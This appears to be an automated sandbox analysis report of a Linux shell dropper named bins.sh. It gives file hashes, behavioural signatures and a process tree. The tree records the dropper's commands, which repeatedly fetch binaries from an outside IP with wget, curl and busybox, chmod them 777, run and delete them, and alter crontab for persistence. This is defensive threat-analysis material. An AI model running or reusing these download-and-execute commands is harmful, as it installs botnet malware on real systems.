Analysis

  • max time kernel
    149s
  • max time network
    84s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/11/2024, 23:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    71ec0aa550f7409c7f45906fca045cb1

  • SHA1

    a0f270335831919a5cd9f3ebb71d0631010c3564

  • SHA256

    8870b3b28e3a997482b2096cd8c1a2064761eccf648a3f57bb0a58f9b9e9c08a

  • SHA512

    4a54755cf5876efadd68926b41da67c7ccbe2c3a38de832fa09a5367d8f3250c8da815e9167f6974955296680e0cd1718ec1b9802de7cf8cb5363d67b9d7bf3b

  • SSDEEP

    192:6mK6XfrfLn/YZvlfaDd9FNll+fLYmK6Xfcl:lfLnavNwd95YfLg

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:739
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:743
        • /usr/bin/wget
          wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:745
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:767
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Writes file to tmp directory
          PID:769
        • /bin/chmod
          chmod 777 dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • File and Directory Permissions Modification
          PID:770
        • /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          ./dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
          • Executes dropped EXE
          PID:771
        • /bin/rm
          rm dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB
          2⤵
            PID:773
          • /usr/bin/wget
            wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:774
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:775
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Writes file to tmp directory
            PID:780
          • /bin/chmod
            chmod 777 geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • File and Directory Permissions Modification
            PID:787
          • /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            ./geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
            • Executes dropped EXE
            PID:788
          • /bin/rm
            rm geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw
            2⤵
              PID:792
            • /usr/bin/wget
              wget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Writes file to tmp directory
              PID:793
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:806
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Writes file to tmp directory
              PID:818
            • /bin/chmod
              chmod 777 TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • File and Directory Permissions Modification
              PID:827
            • /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              ./TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
              • Executes dropped EXE
              PID:828
            • /bin/rm
              rm TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm
              2⤵
                PID:831
              • /usr/bin/wget
                wget http://216.126.231.240/bins/wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                2⤵
                • Writes file to tmp directory
                PID:832
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:834
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                2⤵
                • Writes file to tmp directory
                PID:835
              • /bin/chmod
                chmod 777 wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                2⤵
                • File and Directory Permissions Modification
                PID:836
              • /tmp/wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                ./wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:837
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:839
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:840
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:841
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:842
                  • /bin/rm
                    rm wE14iKzr88fbOnSGTIQA0beGadLZltho8C
                    2⤵
                      PID:844
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                      2⤵
                        PID:847
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                        2⤵
                          PID:848
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                          2⤵
                          • Writes file to tmp directory
                          PID:849
                        • /bin/chmod
                          chmod 777 Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                          2⤵
                          • File and Directory Permissions Modification
                          PID:860
                        • /tmp/Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                          ./Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                          2⤵
                          • Executes dropped EXE
                          PID:861
                        • /bin/rm
                          rm Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj
                          2⤵
                            PID:865
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/hhVE4lxTED6CYZXBC2MQseWA5CZ8xFVqCm
                            2⤵
                              PID:866
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/hhVE4lxTED6CYZXBC2MQseWA5CZ8xFVqCm
                              2⤵
                                PID:870

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/Q2LAmbgEpAceabm68xWyfGDg3OFwLoURBj

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/TCGdapkFFRflhOO4C3BLUpXzaR5jum7rbm

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/dDMdj6ks81mKYNYoEMc8QFDRNrUAJ4BJiB

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/geAVwZy9IbzbOl3YwGIfyQWh4KihN261Dw

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/wE14iKzr88fbOnSGTIQA0beGadLZltho8C

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /var/spool/cron/crontabs/tmp.BlU9nv

                              Filesize

                              210B

                              MD5

                              8979a58dcb054e308e63ad28158a95e3

                              SHA1

                              cdd2c893edd586a9cc39ff21ce736c921a0501c4

                              SHA256

                              6d93505778ed4bfbf024d8ab78d0cb3d2a72ba0cf52d83e3e5fca2f84fc65afe

                              SHA512

                              7d881f476da679eea190b25db3ad1e5fdad64fcf76d97e76d34e42373943ad92e53eae5e152886333e4722449fb3deef7ae09860ebe044ed3bb6adc0ceb0af0c